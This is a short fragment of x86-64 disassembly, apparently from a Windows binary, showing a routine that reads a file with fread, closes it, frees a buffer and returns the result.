mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14005263e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400cb820]
test rax, rax
je 0x140052633
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14005265a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14005264c
mov qword [r14], rdi
mov rax, rsi
jmp 0x14005265c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret